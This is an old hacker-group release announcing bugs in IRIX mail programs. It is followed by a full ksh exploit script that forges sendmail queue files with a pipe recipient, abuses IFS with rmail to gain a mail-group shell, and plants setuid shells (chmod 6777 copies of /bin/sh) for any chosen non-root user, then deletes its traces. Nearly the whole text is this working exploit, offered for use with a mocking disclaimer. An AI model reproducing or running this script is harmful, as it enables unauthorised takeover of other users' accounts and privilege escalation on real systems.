[r00t.2] [irixmksh] [public release] There are bugs in the IRIX mail proggies. This sample script exploits them to give you an suid shell of any user on the system, EXCEPT, for uid=0. Obviously, this script should not be run if you are a clueless script kiddie and have no clue what is going to do. If this script causes any sort of harm to you, physically or virtually, them members of r00t are not responsible, and in fact will probably laugh at you. r00t -- you may not like us, but your girlfriend does. Script kiddies cut here --------------------------------------------------------------------------- #!/sbin/ksh # usage: irixmksh - creates an suid shell of any user on the system # except for uid=0 FILES=qfAA12345 putq /tmp/x usr if [ "x`uname -s`" != "xIRIX" ];then echo "this box is not running IRIX - later..." exit 1 fi if [ "$#" != "1" ]; then echo "Usage: $0 " exit 1 fi TargetUser=$1 # Make the mail queue files cat <<_r00t-text_>qfAA12345 P0 T830896940 DdfAA12345 Bblah Mdeferred: just cuz... C$TargetUser Sroot R<"|/tmp/x"> H?P?return-path: H?D?date: Tue, 30 Feb 1996 12:34:56 -0400 H?F?from: root (root) Hreceived: by hackerz.dom (HackerOS/UCB 5.64/Hackerz Domain id AA12345 for root@hackerz.com; Tue, 30 Feb 1996 12:34:56 -0400 H?M?message-id: <9602301234.AA12345@localhost> Happarently-to: root@plato.coolcode.com _r00t-text_ # Make the script to run with euid=mail cat<<_r00t-text_>putq #!/bin/sh cp qfAA12345 /usr/spool/mqueue touch /usr/spool/mqueue/dfAA12345 chown root /usr/spool/mqueue/*5 _r00t-text_ chmod u+x putq # Make the script to create the suid shell cat<<_r00t-text_>/tmp/x #!/bin/sh cp /bin/sh /tmp/b00sh.$TargetUser chmod 6777 /tmp/b00sh.$TargetUser _r00t-text_ chmod u+x /tmp/x chown $TargetUser /tmp/x # Make the script to grab suid mail shell cat<<_r00t-text_>usr #!/bin/sh chgrp mail b00sh-mail chmod 2777 b00sh-mail _r00t-text_ chmod u+x usr # Now snag mail access and send the queue files. cp /bin/sh b00sh-mail export PATH=.:$PATH export IFS=/ echo "blah" | rmail $LOGNAME export IFS= b00sh-mail putq mailq # Clean Up: rm $FILES --------------------------------------------------------------------------- Then cut here too. r00t